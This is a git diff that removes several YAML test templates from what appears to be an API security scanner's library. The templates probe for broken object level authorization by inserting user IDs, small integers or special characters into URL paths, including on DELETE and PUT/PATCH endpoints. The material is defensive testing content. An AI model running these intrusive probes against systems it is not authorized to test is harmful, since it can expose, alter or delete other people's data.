- "This test involves probing for vulnerabilities in a system's authorization process (requests having DELETE based APIs). Specifically, attackers exploit BOLA by manipulating User IDs within the URL path to gain unauthorized access. This method targets object-level authorization controls, aiming to bypass restrictions and exploit weaknesses in the system's security. Identifying and addressing these vulnerabilities is crucial for preventing unauthorized users from manipulating identifiers and accessing restricted resources."
- impact: >
- "The impact of a successful Broken Object Level Authorization (BOLA) exploit can be severe, leading to unauthorized access to sensitive data or functionalities. Attackers could gain elevated privileges, compromising the integrity and confidentiality of the system. This breach may result in unauthorized manipulation or deletion of critical information, posing a significant risk to the organization's data security. Proper mitigation strategies are essential to prevent such unauthorized access and safeguard against potential data breaches."
- category:
- name: BOLA
- shortName: BOLA
- displayName: Broken Object Level Authorization (BOLA)
- subCategory: BOLA_URL_INSERT_USER_ID_DELETE
- severity: CRITICAL
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://www.akto.io/blog/bola-exploitation-using-unauthorized-uuid-on-api-endpoint"
- - "https://www.akto.io/blog/what-is-broken-object-level-authorization-bola"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md"
- - "https://cwe.mitre.org/data/definitions/284.html"
- - "https://cwe.mitre.org/data/definitions/285.html"
- - "https://cwe.mitre.org/data/definitions/639.html"
- cwe:
- - CWE-284
- - CWE-285
- - CWE-639
- cve:
- - CVE-2022-34770
-
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-auth:
- authenticated: true
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- eq: DELETE
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - failure
- - not found
- - not available
-wordLists:
- random_ids:
- source: sample_data
- key:
- regex: "^UserId$|^UserID$|^User-ID$|^user_id$|^user-id$|^userid$|username|^Username$|^USERNAME$|^uId$|^uid$|^UID$|^member_id$|^MemberId$|^memberId$|^profile_id$|^ProfileId$|^profileId$|^userIdentifier$|^UserIdentifier$|^user_identifier$|^account_id$|^AccountID$|^account-id$|^account_id$|^customer_id$|^CustomerID$|^customer-id$|^customer_id$"
- all_apis: true
-
-execute:
- type: multiple
- requests:
- - req:
- - modify_url:
- token_insert:
- location: 1
- replace_with: ${random_ids}
- - success: vulnerable
- - failure: x2
- - req:
- - modify_url:
- token_insert:
- location: 2
- replace_with: ${random_ids}
- - success: vulnerable
- - failure: x3
- - req:
- - modify_url:
- token_insert:
- location: 3
- replace_with: ${random_ids}
- - success: vulnerable
- - failure: x4
- - req:
- - modify_url:
- token_insert:
- location: 4
- replace_with: ${random_ids}
- - success: vulnerable
- - failure: x5
- - req:
- - modify_url:
- token_insert:
- location: 5
- replace_with: ${random_ids}
-validate:
- response_code:
- gte: 200
- lt: 300
- url:
- endpoint_in_traffic_context: false
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - failure
- - not available
- - not found
diff --git a/Broken-Object-Level-Authorization/BOLAURLInsertUserIDPATCH.yml b/Broken-Object-Level-Authorization/BOLAURLInsertUserIDPATCH.yml
deleted file mode 100644
index 29d7ae6f..00000000
--- a/Broken-Object-Level-Authorization/BOLAURLInsertUserIDPATCH.yml
+++ /dev/null
@@ -1,164 +0,0 @@
-id: BOLA_URL_INSERT_USER_ID_PATCH
-info:
- name: "Exploiting BOLA by inserting User IDs in URL path for Unauthorized Access for PUT/PATCH based APIs"
- description: >
- "This test involves assessing the vulnerability of a system's authorization mechanism by manipulating User IDs within the URL path (requests having PUT/PATCH based APIs). This form of exploitation aims to gain unauthorized access by inserting User IDs in the URL, tricking the system into granting privileges that should be restricted. This test helps identify weaknesses in object-level authorization controls, ensuring that proper access restrictions are in place and unauthorized users cannot manipulate identifiers to gain unauthorized entry."
- details: >
- "This test involves probing for vulnerabilities in a system's authorization process (requests having PUT/PATCH based APIs). Specifically, attackers exploit BOLA by manipulating User IDs within the URL path to gain unauthorized access. This method targets object-level authorization controls, aiming to bypass restrictions and exploit weaknesses in the system's security. Identifying and addressing these vulnerabilities is crucial for preventing unauthorized users from manipulating identifiers and accessing restricted resources."
- impact: >
- "The impact of a successful Broken Object Level Authorization (BOLA) exploit can be severe, leading to unauthorized access to sensitive data or functionalities. Attackers could gain elevated privileges, compromising the integrity and confidentiality of the system. This breach may result in unauthorized manipulation or deletion of critical information, posing a significant risk to the organization's data security. Proper mitigation strategies are essential to prevent such unauthorized access and safeguard against potential data breaches."
- category:
- name: BOLA
- shortName: BOLA
- displayName: Broken Object Level Authorization (BOLA)
- subCategory: BOLA_URL_INSERT_USER_ID_PATCH
- severity: CRITICAL
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://www.akto.io/blog/bola-exploitation-using-unauthorized-uuid-on-api-endpoint"
- - "https://www.akto.io/blog/what-is-broken-object-level-authorization-bola"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md"
- - "https://cwe.mitre.org/data/definitions/284.html"
- - "https://cwe.mitre.org/data/definitions/285.html"
- - "https://cwe.mitre.org/data/definitions/639.html"
- cwe:
- - CWE-284
- - CWE-285
- - CWE-639
- cve:
- - CVE-2022-34770
-
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-auth:
- authenticated: true
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- contains_either:
- - PUT
- - PATCH
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - failure
- - not found
- - not available
-wordLists:
- random_ids:
- source: sample_data
- key:
- regex: "^UserId$|^UserID$|^User-ID$|^user_id$|^user-id$|^userid$|username|^Username$|^USERNAME$|^uId$|^uid$|^UID$|^member_id$|^MemberId$|^memberId$|^profile_id$|^ProfileId$|^profileId$|^userIdentifier$|^UserIdentifier$|^user_identifier$|^account_id$|^AccountID$|^account-id$|^account_id$|^customer_id$|^CustomerID$|^customer-id$|^customer_id$"
- all_apis: true
-
-execute:
- type: multiple
- requests:
- - req:
- - modify_url:
- token_insert:
- location: 1
- replace_with: ${random_ids}
- - success: vulnerable
- - failure: x2
- - req:
- - modify_url:
- token_insert:
- location: 2
- replace_with: ${random_ids}
- - success: vulnerable
- - failure: x3
- - req:
- - modify_url:
- token_insert:
- location: 3
- replace_with: ${random_ids}
- - success: vulnerable
- - failure: x4
- - req:
- - modify_url:
- token_insert:
- location: 4
- replace_with: ${random_ids}
- - success: vulnerable
- - failure: x5
- - req:
- - modify_url:
- token_insert:
- location: 5
- replace_with: ${random_ids}
-validate:
- response_code:
- gte: 200
- lt: 300
- url:
- endpoint_in_traffic_context: false
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - failure
- - not available
- - not found
diff --git a/Broken-Object-Level-Authorization/BOLAURLPathInsertInteger.yml b/Broken-Object-Level-Authorization/BOLAURLPathInsertInteger.yml
deleted file mode 100644
index 17c286f1..00000000
--- a/Broken-Object-Level-Authorization/BOLAURLPathInsertInteger.yml
+++ /dev/null
@@ -1,170 +0,0 @@
-id: BOLA_URL_INSERT_INTEGER_ID
-info:
- name: "Exploiting BOLA by inserting Integer IDs in URL path for Unauthorized Access."
- description: >
- "This test involves assessing the security of a system's Object Level Authorization by attempting to exploit it through the manipulation of Integer IDs in the URL path. In this scenario, attackers attempt to gain unauthorized access by inserting specific Integer IDs, bypassing proper authorization mechanisms. This test aims to identify vulnerabilities in the system's ability to enforce proper access controls, potentially exposing sensitive data or functionalities to unauthorized users."
- details: >
- "In this test, attackers exploit security weaknesses by manipulating Integer IDs within the URL path to gain unauthorized access. By inserting specific Integer values, they attempt to bypass proper authorization controls implemented by the system. This test is crucial for identifying vulnerabilities in Object Level Authorization, which, if left unchecked, could lead to unauthorized users accessing sensitive data or functionalities within the system."
- impact: >
- "A successful BOLA attack, achieved by manipulating Integer IDs in the URL path, can have severe consequences. Unauthorized access may lead to exposure of sensitive data, unauthorized modifications, and compromise the overall integrity, confidentiality, and availability of the system. Implementing robust Object Level Authorization mechanisms becomes crucial to mitigate the risks associated with such security breaches."
- category:
- name: BOLA
- shortName: BOLA
- displayName: Broken Object Level Authorization (BOLA)
- subCategory: BOLA_URL_INSERT_INTEGER_ID
- severity: CRITICAL
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://www.akto.io/blog/bola-exploitation-using-unauthorized-uuid-on-api-endpoint"
- - "https://www.akto.io/blog/what-is-broken-object-level-authorization-bola"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md"
- - "https://cwe.mitre.org/data/definitions/284.html"
- - "https://cwe.mitre.org/data/definitions/285.html"
- - "https://cwe.mitre.org/data/definitions/639.html"
- cwe:
- - CWE-284
- - CWE-285
- - CWE-639
- cve:
- - CVE-2022-34770
-
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-auth:
- authenticated: true
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- neq: "OPTIONS"
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - not found
- - not available
- - failure
-
-wordLists:
- integerIDs:
- - 1
- - 2
- - 3
- - 4
- - 5
-
-execute:
- type: multiple
- requests:
- - req:
- - modify_url:
- token_insert:
- location: 1
- replace_with: ${integerIDs}
- - success: vulnerable
- - failure: x2
- - req:
- - modify_url:
- token_insert:
- location: 2
- replace_with: ${integerIDs}
- - success: vulnerable
- - failure: x3
- - req:
- - modify_url:
- token_insert:
- location: 3
- replace_with: ${integerIDs}
- - success: vulnerable
- - failure: x4
- - req:
- - modify_url:
- token_insert:
- location: 4
- replace_with: ${integerIDs}
- - success: vulnerable
- - failure: x5
- - req:
- - modify_url:
- token_insert:
- location: 5
- replace_with: ${integerIDs}
-validate:
- response_code:
- gte: 200
- lt: 300
- url:
- endpoint_in_traffic_context: false
- response_payload:
- length:
- gt: 0
- percentage_match:
- lt: 10
- percentage_match_schema:
- gte: 90
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - not found
- - not available
- - failure
- - ""
- - ""
diff --git a/Broken-Object-Level-Authorization/BOLAURLPathInsertIntegerDELETE.yaml b/Broken-Object-Level-Authorization/BOLAURLPathInsertIntegerDELETE.yaml
deleted file mode 100644
index 3e2e57b8..00000000
--- a/Broken-Object-Level-Authorization/BOLAURLPathInsertIntegerDELETE.yaml
+++ /dev/null
@@ -1,164 +0,0 @@
-id: BOLA_URL_INSERT_INTEGER_ID_DELETE
-info:
- name: "Exploiting BOLA by inserting Integer IDs in URL path for Unauthorized Access with DELETE based APIs"
- description: >
- "This test involves assessing the security of a system's Object Level Authorization by attempting to exploit it through the manipulation of Integer IDs in the URL path (for DELETE Based APIs). In this scenario, attackers attempt to gain unauthorized access by inserting specific Integer IDs, bypassing proper authorization mechanisms. This test aims to identify vulnerabilities in the system's ability to enforce proper access controls, potentially exposing sensitive data or functionalities to unauthorized users."
- details: >
- "In this test, attackers exploit security weaknesses by manipulating Integer IDs within the URL path to gain unauthorized access (for DELETE Based APIs). By inserting specific Integer values, they attempt to bypass proper authorization controls implemented by the system. This test is crucial for identifying vulnerabilities in Object Level Authorization, which, if left unchecked, could lead to unauthorized users accessing sensitive data or functionalities within the system."
- impact: >
- "A successful BOLA attack, achieved by manipulating Integer IDs in the URL path, can have severe consequences. Unauthorized access may lead to exposure of sensitive data, unauthorized modifications, and compromise the overall integrity, confidentiality, and availability of the system. Implementing robust Object Level Authorization mechanisms becomes crucial to mitigate the risks associated with such security breaches."
- category:
- name: BOLA
- shortName: BOLA
- displayName: Broken Object Level Authorization (BOLA)
- subCategory: BOLA_URL_INSERT_INTEGER_ID_DELETE
- severity: CRITICAL
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://www.akto.io/blog/bola-exploitation-using-unauthorized-uuid-on-api-endpoint"
- - "https://www.akto.io/blog/what-is-broken-object-level-authorization-bola"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md"
- - "https://cwe.mitre.org/data/definitions/284.html"
- - "https://cwe.mitre.org/data/definitions/285.html"
- - "https://cwe.mitre.org/data/definitions/639.html"
- cwe:
- - CWE-284
- - CWE-285
- - CWE-639
- cve:
- - CVE-2022-34770
-
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-auth:
- authenticated: true
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- eq: DELETE
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - not found
- - not available
- - failure
-
-wordLists:
- integerIDs:
- - 1
- - 2
- - 3
- - 4
- - 5
-
-execute:
- type: multiple
- requests:
- - req:
- - modify_url:
- token_insert:
- location: 1
- replace_with: ${integerIDs}
- - success: vulnerable
- - failure: x2
- - req:
- - modify_url:
- token_insert:
- location: 2
- replace_with: ${integerIDs}
- - success: vulnerable
- - failure: x3
- - req:
- - modify_url:
- token_insert:
- location: 3
- replace_with: ${integerIDs}
- - success: vulnerable
- - failure: x4
- - req:
- - modify_url:
- token_insert:
- location: 4
- replace_with: ${integerIDs}
- - success: vulnerable
- - failure: x5
- - req:
- - modify_url:
- token_insert:
- location: 5
- replace_with: ${integerIDs}
-validate:
- response_code:
- gte: 200
- lt: 300
- url:
- endpoint_in_traffic_context: false
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - not found
- - not available
- - failure
diff --git a/Broken-Object-Level-Authorization/BOLAURLPathInsertIntegerPATCH.yml b/Broken-Object-Level-Authorization/BOLAURLPathInsertIntegerPATCH.yml
deleted file mode 100644
index 4e56ae87..00000000
--- a/Broken-Object-Level-Authorization/BOLAURLPathInsertIntegerPATCH.yml
+++ /dev/null
@@ -1,166 +0,0 @@
-id: BOLA_URL_INSERT_INTEGER_ID_PATCH
-info:
- name: "Exploiting BOLA by inserting Integer IDs in URL path for Unauthorized Access with PUT/PATCH based APIs"
- description: >
- "This test involves assessing the security of a system's Object Level Authorization by attempting to exploit it through the manipulation of Integer IDs in the URL path (for PUT/PATCH Based APIs). In this scenario, attackers attempt to gain unauthorized access by inserting specific Integer IDs, bypassing proper authorization mechanisms. This test aims to identify vulnerabilities in the system's ability to enforce proper access controls, potentially exposing sensitive data or functionalities to unauthorized users."
- details: >
- "In this test, attackers exploit security weaknesses by manipulating Integer IDs within the URL path to gain unauthorized access (for PUT/PATCH Based APIs). By inserting specific Integer values, they attempt to bypass proper authorization controls implemented by the system. This test is crucial for identifying vulnerabilities in Object Level Authorization, which, if left unchecked, could lead to unauthorized users accessing sensitive data or functionalities within the system."
- impact: >
- "A successful BOLA attack, achieved by manipulating Integer IDs in the URL path, can have severe consequences. Unauthorized access may lead to exposure of sensitive data, unauthorized modifications, and compromise the overall integrity, confidentiality, and availability of the system. Implementing robust Object Level Authorization mechanisms becomes crucial to mitigate the risks associated with such security breaches."
- category:
- name: BOLA
- shortName: BOLA
- displayName: Broken Object Level Authorization (BOLA)
- subCategory: BOLA_URL_INSERT_INTEGER_ID_PATCH
- severity: CRITICAL
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://www.akto.io/blog/bola-exploitation-using-unauthorized-uuid-on-api-endpoint"
- - "https://www.akto.io/blog/what-is-broken-object-level-authorization-bola"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md"
- - "https://cwe.mitre.org/data/definitions/284.html"
- - "https://cwe.mitre.org/data/definitions/285.html"
- - "https://cwe.mitre.org/data/definitions/639.html"
- cwe:
- - CWE-284
- - CWE-285
- - CWE-639
- cve:
- - CVE-2022-34770
-
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-auth:
- authenticated: true
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- contains_either:
- - PUT
- - PATCH
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - not found
- - not available
- - failure
-
-wordLists:
- integerIDs:
- - 1
- - 2
- - 3
- - 4
- - 5
-
-execute:
- type: multiple
- requests:
- - req:
- - modify_url:
- token_insert:
- location: 1
- replace_with: ${integerIDs}
- - success: vulnerable
- - failure: x2
- - req:
- - modify_url:
- token_insert:
- location: 2
- replace_with: ${integerIDs}
- - success: vulnerable
- - failure: x3
- - req:
- - modify_url:
- token_insert:
- location: 3
- replace_with: ${integerIDs}
- - success: vulnerable
- - failure: x4
- - req:
- - modify_url:
- token_insert:
- location: 4
- replace_with: ${integerIDs}
- - success: vulnerable
- - failure: x5
- - req:
- - modify_url:
- token_insert:
- location: 5
- replace_with: ${integerIDs}
-validate:
- response_code:
- gte: 200
- lt: 300
- url:
- endpoint_in_traffic_context: false
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - not found
- - not available
- - failure
diff --git a/Broken-Object-Level-Authorization/BOLAURLPathInsertSpecialCharacters.yml b/Broken-Object-Level-Authorization/BOLAURLPathInsertSpecialCharacters.yml
deleted file mode 100644
index cfe3c048..00000000
--- a/Broken-Object-Level-Authorization/BOLAURLPathInsertSpecialCharacters.yml
+++ /dev/null
@@ -1,171 +0,0 @@
-id: BOLA_URL_INSERT_SPECIAL_CHAR
-info:
- name: "Exploiting BOLA by inserting Special Characters in URL path for Unauthorized Access."
- description: >
- "In this BOLA test, attackers exploit vulnerabilities by inserting special characters into the URL path, attempting unauthorized access. This method focuses on flaws in object-level authorization, enabling attackers to manipulate URLs and bypass access controls. By strategically using special characters, the test emulates unauthorized access attempts, exposing weaknesses in the authorization process for organizations to address and enhance their system's security."
- details: >
- "This BOLA test involves probing for security weaknesses by inserting special characters into URL paths. This simulated attack aims to exploit vulnerabilities in object-level authorization, allowing unauthorized access. Attackers manipulate the URL structure to bypass access controls, revealing potential flaws in the authorization process. This test helps organizations identify and rectify security risks associated with object-level authorization mechanisms."
- impact: >
- "Exploiting BOLA through special character insertion can have severe impacts. Unauthorized access to sensitive objects may lead to data breaches, exposing confidential information. Attackers could manipulate or delete critical data, disrupting business operations and causing reputational damage. Organizations must address BOLA vulnerabilities promptly to prevent these potential impacts on data integrity, privacy, and overall system security."
- category:
- name: BOLA
- shortName: BOLA
- displayName: Broken Object Level Authorization (BOLA)
- subCategory: BOLA_URL_INSERT_SPECIAL_CHAR
- severity: CRITICAL
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://www.akto.io/blog/bola-exploitation-using-unauthorized-uuid-on-api-endpoint"
- - "https://www.akto.io/blog/what-is-broken-object-level-authorization-bola"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md"
- - "https://cwe.mitre.org/data/definitions/284.html"
- - "https://cwe.mitre.org/data/definitions/285.html"
- - "https://cwe.mitre.org/data/definitions/639.html"
- cwe:
- - CWE-284
- - CWE-285
- - CWE-639
- cve:
- - CVE-2022-34770
-
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-auth:
- authenticated: true
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- neq: "OPTIONS"
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - not found
- - not available
- - failure
-
-wordLists:
- specialCharacters:
- - "*"
- - "'"
- - "!"
- - "@"
- - "^"
- - "&"
- - "%"
- - "$"
-
-execute:
- type: multiple
- requests:
- - req:
- - modify_url:
- token_insert:
- location: 1
- replace_with: ${specialCharacters}
- - success: vulnerable
- - failure: x2
- - req:
- - modify_url:
- token_insert:
- location: 2
- replace_with: ${specialCharacters}
- - success: vulnerable
- - failure: x3
- - req:
- - modify_url:
- token_insert:
- location: 3
- replace_with: ${specialCharacters}
- - success: vulnerable
- - failure: x4
- - req:
- - modify_url:
- token_insert:
- location: 4
- replace_with: ${specialCharacters}
- - success: vulnerable
- - failure: x5
- - req:
- - modify_url:
- token_insert:
- location: 5
- replace_with: ${specialCharacters}
-validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- gt: 0
- percentage_match:
- lt: 10
- percentage_match_schema:
- gte: 90
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - not found
- - not available
- - failure
- - ""
- - ""
diff --git a/Broken-Object-Level-Authorization/BOLAURLPathInsertSpecialCharactersDELETE.yml b/Broken-Object-Level-Authorization/BOLAURLPathInsertSpecialCharactersDELETE.yml
deleted file mode 100644
index 5f6f3c54..00000000
--- a/Broken-Object-Level-Authorization/BOLAURLPathInsertSpecialCharactersDELETE.yml
+++ /dev/null
@@ -1,165 +0,0 @@
-id: BOLA_URL_INSERT_SPECIAL_CHAR_DELETE
-info:
- name: "Exploiting BOLA by inserting Special Characters in URL path for Unauthorized Access with DELETE based APIs"
- description: >
- "In this BOLA test (for DELETE based APIs), attackers exploit vulnerabilities by inserting special characters into the URL path, attempting unauthorized access. This method focuses on flaws in object-level authorization, enabling attackers to manipulate URLs and bypass access controls. By strategically using special characters, the test emulates unauthorized access attempts, exposing weaknesses in the authorization process for organizations to address and enhance their system's security."
- details: >
- "This BOLA test (for DELETE based APIs) involves probing for security weaknesses by inserting special characters into URL paths. This simulated attack aims to exploit vulnerabilities in object-level authorization, allowing unauthorized access. Attackers manipulate the URL structure to bypass access controls, revealing potential flaws in the authorization process. This test helps organizations identify and rectify security risks associated with object-level authorization mechanisms."
- impact: >
- "Exploiting BOLA through special character insertion can have severe impacts. Unauthorized access to sensitive objects may lead to data breaches, exposing confidential information. Attackers could manipulate or delete critical data, disrupting business operations and causing reputational damage. Organizations must address BOLA vulnerabilities promptly to prevent these potential impacts on data integrity, privacy, and overall system security."
- category:
- name: BOLA
- shortName: BOLA
- displayName: Broken Object Level Authorization (BOLA)
- subCategory: BOLA_URL_INSERT_SPECIAL_CHAR_DELETE
- severity: CRITICAL
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://www.akto.io/blog/bola-exploitation-using-unauthorized-uuid-on-api-endpoint"
- - "https://www.akto.io/blog/what-is-broken-object-level-authorization-bola"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md"
- - "https://cwe.mitre.org/data/definitions/284.html"
- - "https://cwe.mitre.org/data/definitions/285.html"
- - "https://cwe.mitre.org/data/definitions/639.html"
- cwe:
- - CWE-284
- - CWE-285
- - CWE-639
- cve:
- - CVE-2022-34770
-
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-auth:
- authenticated: true
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- eq: DELETE
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - not found
- - not available
- - failure
-
-wordLists:
- specialCharacters:
- - "*"
- - "'"
- - "!"
- - "@"
- - "^"
- - "&"
- - "%"
- - "$"
-
-execute:
- type: multiple
- requests:
- - req:
- - modify_url:
- token_insert:
- location: 1
- replace_with: ${specialCharacters}
- - success: vulnerable
- - failure: x2
- - req:
- - modify_url:
- token_insert:
- location: 2
- replace_with: ${specialCharacters}
- - success: vulnerable
- - failure: x3
- - req:
- - modify_url:
- token_insert:
- location: 3
- replace_with: ${specialCharacters}
- - success: vulnerable
- - failure: x4
- - req:
- - modify_url:
- token_insert:
- location: 4
- replace_with: ${specialCharacters}
- - success: vulnerable
- - failure: x5
- - req:
- - modify_url:
- token_insert:
- location: 5
- replace_with: ${specialCharacters}
-validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - not found
- - not available
- - failure
diff --git a/Broken-Object-Level-Authorization/BOLAURLPathReplaceInteger.yml b/Broken-Object-Level-Authorization/BOLAURLPathReplaceInteger.yml
deleted file mode 100644
index f45970fc..00000000
--- a/Broken-Object-Level-Authorization/BOLAURLPathReplaceInteger.yml
+++ /dev/null
@@ -1,171 +0,0 @@
-id: BOLA_URL_REPLACE_INTEGER_ID
-info:
- name: "Exploiting BOLA by replacing URL path with Integer IDs for Unauthorized Access."
- description: >
- "In this specific test, attackers attempt unauthorized access by substituting Integer IDs in the URL path. By doing so, the test aims to uncover weaknesses in the authorization mechanisms, revealing potential security lapses in how the application manages user privileges and access controls."
- details: >
- "This test aims to uncover vulnerabilities in applications relying on user-input like URL paths for access control. By substituting Integer IDs in the URL path, attackers exploit this weakness to gain unauthorized access. This test helps identify and rectify flaws in authorization mechanisms, exposing potential security risks in managing user privileges and access controls."
- impact: >
- "Manipulating Integer IDs in URL paths to exploit Broken Object Level Authorization (BOLA) can result in significant impacts. Unauthorized access may lead to data breaches, compromising sensitive information and user privacy. This security vulnerability not only jeopardizes the application's reputation but also exposes it to legal consequences. Effectively addressing BOLA is crucial for preventing these severe repercussions and ensuring the overall security of the system."
- category:
- name: BOLA
- shortName: BOLA
